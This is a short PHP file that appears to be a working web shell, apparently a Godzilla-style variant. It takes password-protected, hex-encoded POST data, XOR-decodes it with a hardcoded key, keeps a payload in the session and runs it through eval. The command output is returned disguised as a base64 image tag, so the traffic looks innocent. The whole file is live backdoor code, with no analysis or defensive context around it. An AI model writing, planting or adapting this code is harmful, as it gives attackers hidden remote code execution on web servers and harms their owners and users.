<?php

@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D, $K){
    for ($i = 0; $i < strlen($D); $i++) {
        $c = $K[$i + 1 & 15];
        $D[$i] = $D[$i] ^ $c;
    }
    return $D;
}
class C{public function __construct($p) {eval($p."");}}

$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';

if (isset($_POST[$pass])) {
    foreach ($_POST as $k => $v) {
        $_POST[$k] = pack("H*", $v);
    }
    $data = encode($_POST[$pass], $key);
    if (isset($_SESSION[$payloadName])) {
        $payload = encode($_SESSION[$payloadName], $key);

        if (strpos($payload, "getBasicsInfo") === false) {
            $payload = encode($payload, $key);
        }
        @new C($payload);
        echo encode($_POST['preffix'], $key);
        echo "<img src=\"data:image/x-icon;base64,".bin2hex(encode(@run($data), $key))."\"/>";
        echo encode($_POST['suffix'], $key);
    } else {
        if (strpos($data, "getBasicsInfo") !== false) {
            $_SESSION[$payloadName] = encode($data, $key);
        }
    }
}
?>